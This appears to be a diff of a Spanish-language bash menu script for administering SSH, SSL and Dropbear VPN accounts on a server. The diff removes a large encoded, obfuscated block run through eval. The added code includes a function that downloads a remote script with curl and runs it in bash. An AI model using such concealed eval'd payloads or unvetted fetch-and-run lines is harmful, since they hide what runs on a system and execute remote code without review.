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 | r";OrKWlAdlAigoljYBgueZMOuDPVmkOgYFVOUbnDlxVCfhElLLhJXFiTCEypYICeBaIBUwpCqNYypfLNCjUrTxYqCgMHGCoSNigAqc="QFYBgmuGzkFBoFVRkRmkCFMWxLBjLjpoQBPdXOpzwyAZpBVbsqPUzQzQYFoPANpDGOKEkZLShRYGawvMydANSfvEraDMeVSgBjUw";oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj="";RThWZBIQyyuUAJgXnULROTFLWSsSHfjQQIJabZKhtsMAxgmsnvPJiOnDxVQfCkaCSQJHYILPIvsugZWXsxzmXreoIEPBnejayZUz="as";IPYwpWYolnKxmdLEeQkoJmUrcwPSJCGuHUrLNfNwFZGkQlsTtcVtIuAeAviJSryfVbwMoGjiSwyQIsDhzvvKZRppIxNZQKHyLQDz="GoZPwrAJzXJWopNmZlDJpMGGdiBaKjGjJlMviPneCKvppiZzoGAXEJInipvRLvneYuLKbXSMeefFoqEOLLWbUTTpGzYWrylfDEer";KSBPtSiostnfVtBXEFLnmYLWHMGzbpsQwTDidYXwCyxNsBfORNLXDyWBKGWsZozCZTtqWimLexPfVUSODEpRsxJqTIurHwOqHCqH="zlpHIsLMmSFxgBYNuTHwylzQdkDUJrmtGJLjsUsnHgvxWJPdCUUiMPFVKZxDeWfHKiqZtmmbPgekhUyckNYBZqXsDPifGrxwUBAk";ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr="o";efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb="6";iOumIOyWIXahCszcXkqWxsNuOVBInEugXzSgjgTZdpMmIlXrsLUffNwIlBNfZEwCrJctjOIMMMkFiDJybFgEdJywSykMxhtBuwQI="iAcwEldHOUMBZqJrxztdXueXvjSVbuHgOczjjPjaKdtgEEdhECkhegqrakfeXaZguNXzWnTRhYXZeBpnIaOrIFZthItsZPzxzfAu";pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO=" -d";DDTJurBDlhfpFPVEYOlzJwzRMBdAvyMjOhmGFxVCvJCvQcuBTDGgpChsBOYRTrvigIeUfHoxvfoRjgEdYLuonjLsVGhMNKLUZVns="xRCoErFasfhPmPKaabczQwHufaQZuHSQjEFhrkqetoIUWBSYNTrjbVlyUdQOgLTpMKvKNJdKvNzPNCKYBVTuBWCmSkppPULKfugf";brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM="";AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy="b";pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy="e";dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn="v |";Tx=Eds;AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU="";ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa=$(eval "$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr$dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU$RThWZBIQyyuUAJgXnULROTFLWSsSHfjQQIJabZKhtsMAxgmsnvPJiOnDxVQfCkaCSQJHYILPIvsugZWXsxzmXreoIEPBnejayZUz$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV$pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU");eval "$brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM$ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob"
\ No newline at end of file
+#user=$(echo ${saks:0:5})
+
+# NUNCA DEJES DE APRENDER
+# POWER BY @CHUMOGH
+
+cco=1
+[[ -e /bin/ejecutar/limFIX ]] && _limTOP="$(cat < /bin/ejecutar/limFIX)" || _limTOP='1'
+chekKEY &> /dev/null 2>&1
+users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}')
+_ps="$(ps x)"
+unset tmm ext tempo tempoin
+uskk=$(cat /bin/ejecutar/uskill)
+[[ ! -d /etc/scpdk1/userDIR ]] && mkdir /etc/scpdk1/userDIR
+source /etc/scpdk1/cabecalho
+mem_free=$(free --mega -h | awk 'NR==2{printf $4}')
+cpu_used="$(top -b -n1 | grep 'Cpu(s)' | awk '{print $2 + $4}')"%
+if [ "$_userlock" > 0 ]; then
+ul="\033[1;33m( \033[1;31m$_userlock \033[1;32mLOCKED \033[1;33m)"
+else
+ul="\033[1;33m( \033[1;32mALL UNLOCK \033[1;33m)"
+fi
+[[ -z $(echo -e ${_ps} | grep "ultimatebot" | grep -v "grep") ]] && bt="\033[1;31mOFF\033[0m" || bt="\033[1;32mON\033[0m"
+var_sks1=$(echo -e ${_ps} | grep "checkuser" | grep -v grep >/dev/null && echo -e "\033[1;32mON\033[0m" || echo -e "\033[1;31mOFF\033[0m")
+echo -e "${cor[2]} 🙎 ${cor[5]}CUENTAS SSH / SSL / DROPBEAR By @ChumoGH 🙎"
+msg -bar
+echo -e " \033[1;34m ▸ M LIBRE: \033[1;32m${mem_free} \033[1;34m ▸ USO DE CPU:\033[1;32m ${cpu_used} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m01\033[0;35m]\033[0;31m >${cor[3]} AGREGAR USUARIO\033[0;31m(\033[0;33mHWID\033[0;31m/\033[0;33mNORMAL\033[0;31m/\033[0;33mTOKEN\033[0;31m) 📝" # ${cor[2]} [-] >${cor[3]} - "
+echo -e "\033[0;35m [\033[0;36m02\033[0;35m]\033[0;31m >${cor[3]} BORRAR 1/TODOS LOS USUARIO/s"
+echo -e "\033[0;35m [\033[0;36m03\033[0;35m]\033[0;31m >${cor[3]} EDITAR USUARIOS REGISTRADOS"
+echo -e "\033[0;35m [\033[0;36m04\033[0;35m]\033[0;31m >${cor[3]} MOSTRAR USUARIOS REGISTRADOS"
+echo -e "\033[0;35m [\033[0;36m05\033[0;35m]\033[0;31m >${cor[3]} MOSTRAR USUARIOS CONECTADOS "
+echo -e "\033[0;35m [\033[0;36m06\033[0;35m]\033[0;31m >${cor[3]} EDITAR BANNER ( SSH/Dropbear )"
+echo -e "\033[0;35m [\033[0;36m07\033[0;35m]\033[0;31m >${cor[3]} LOG DE CONSUMO ( Artificial )"
+echo -e "\033[0;35m [\033[0;36m08\033[0;35m]\033[0;31m >${cor[3]} BLOQUEAR / DESBLOQUEAR USUARIOS $ul"
+echo -e "\033[0;35m [\033[0;36m09\033[0;35m]\033[0;31m >${cor[3]} BACKUP USUARIOS \033[0;32m(#OFFICIAL)"
+echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m >${cor[3]} MENU CUENTAS SSR/SS \033[0;32m(#OFFICIAL)"
+echo -e "\033[0;35m [\033[0;36m11\033[0;35m]\033[0;31m >${cor[3]} MENU DE CUENTAS V2RAY \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m12\033[0;35m]\033[0;31m >${cor[3]} CONTROL SSH ( BotTelegram $bt ) "
+echo -e "\033[0;35m [\033[0;36m13\033[0;35m]\033[0;31m >${cor[3]} CHECKUSER ONLINE ( $var_sks1 ) "
+[[ -e /etc/systemd/system/killadm.service ]] && echo -e "\033[0;35m [\033[0;36m14\033[0;35m]\033[0;31m >${cor[3]} VER LOGS DE MULTILOGUIN ( $ ) "
+#echo -e "\033[0;35m [\033[0;36m15\033[0;35m]\033[0;31m >${cor[3]} MENU DE CUENTAS TROJAN \033[0;33m(#BETA)"
+msg -bar
+
+[[ -e /etc/scpdk1/modulos ]] && echo -ne " \033[0;33m(\033[0;32mCONTADOR :$_on\033[0;33m) " || echo -ne "\033[0;33m(\033[0;32mCONTADOR :$_off\033[0;33m) "
+[[ -e /etc/systemd/system/killadm.service ]] && echo -e "\033[0;33m(\033[1;31m \033[1;36mKILL MULTILOGUIN ${_on}\033[0;33m) " || echo -e "\033[0;33m(\033[1;36mActiva en MENU 7-OPCION 6\033[1;31m\033[1;36m ${_off}\033[0;33m)\033[0m"
+msg -bar
+
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+
+
+_usCHECK () {
+bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/_multiK.sh)" --check
+#cat $(pwd)/--.key
+}
+
+selection_fun () {
+local selection="null"
+local range
+for((i=0; i<=$1; i++)); do range[$i]="$i "; done
+while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do
+echo -ne "\033[1;31m NUMERO DE OPCION : " >&2
+read selection
+tput cuu1 >&2 && tput dl1 >&2
+done
+echo $selection
+}
+
+
+fk () {
+#echo -e "\033[1;39m "
+local _netCAT="$(netstat -tunlp)"
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mEn APPS como HTTP Inyector,CUSTOM,KPN Rev,etc" #| pv -qL 15
+[[ $(mportas|grep dropbear|head -1) ]] && {
+if echo -e "${_netCAT}" |grep sslh 1> /dev/null 2> /dev/null; then
+sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`;
+#PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+for PORT in ${sslhp}; do
+echo -e "【 DROPBEAR >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80
+done
+else
+#echo -e "\033[1;39mPara uso Dropbear usa la Sintaxis"
+dropbearports=`echo -e "${_netCAT}" | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`;
+#PORT=$(cat /etc/scpdk1/dropbearports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+for PORT in ${dropbearports}; do
+echo -e "【 Dropbear >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80
+done
+fi
+} || {
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe Dropbear" | pv -qL 80
+}
+######
+[[ $(mportas|grep stunnel|head -1) ]] && {
+if echo -e "${_netCAT}" |grep sslh 1> /dev/null 2> /dev/null; then
+sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`;
+#PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+for PORT in ${sslhp}; do
+echo -e "【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80
+done
+else
+#echo -e "\033[1;39mPara uso SSL usa la Sintaxis"
+sslports=`echo -e "${_netCAT}" | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/scpdk1/sslports.txt && cat /etc/scpdk1/sslports.txt`;
+#PORT=$(cat /etc/scpdk1/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+for PORT in ${sslports}; do
+echo -e "【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80
+done
+fi
+} || {
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe SSL" | pv -qL 80
+#echo -e "\033[1;39m"
+}
+[[ -e /etc/scpdk1/slow/dnsi/server.pub && -e /etc/scpdk1/slow/dnsi/domain_ns ]] && {
+echo -e "【 SLOWDNS KEY >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/server.pub) 】"
+echo -e "【 DOMINIO NS >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/domain_ns) 】"
+echo -e "【 CONEXION REDIRECCIONADA VIA PUERTO ->${cor[4]} $(cat /etc/scpdk1/slow/dnsi/puerto) 】"
+}
+msg -bar
+}
+fkhwid () {
+local _netCAT="$(netstat -tunlp)"
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m En APPS como HTTP Inyector, CUSTOM, etc" #| pv -qL 15
+#echo -ne " " && msg -bra " \033[1;41m En APPS como HTTP Inyector, CUSTOM, etc"
+[[ $(mportas|grep dropbear|head -1) ]] && {
+if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then
+sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`;
+PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+echo -e " 【 DROPBEAR >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80
+else
+#echo -e "\033[1;39mPara uso Dropbear usa la Sintaxis"
+dropbearports=`echo -e "${_netCAT}" | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`;
+PORT=$(cat /etc/scpdk1/dropbearports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+echo -e " 【 Dropbear >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80
+fi
+} || {
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe Dropbear" | pv -qL 80
+}
+######
+[[ $(mportas|grep stunnel|head -1) ]] && {
+if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then
+local sslhp=`echo -e "${_netCAT}"| grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`;
+local PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+echo -e " 【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80
+else
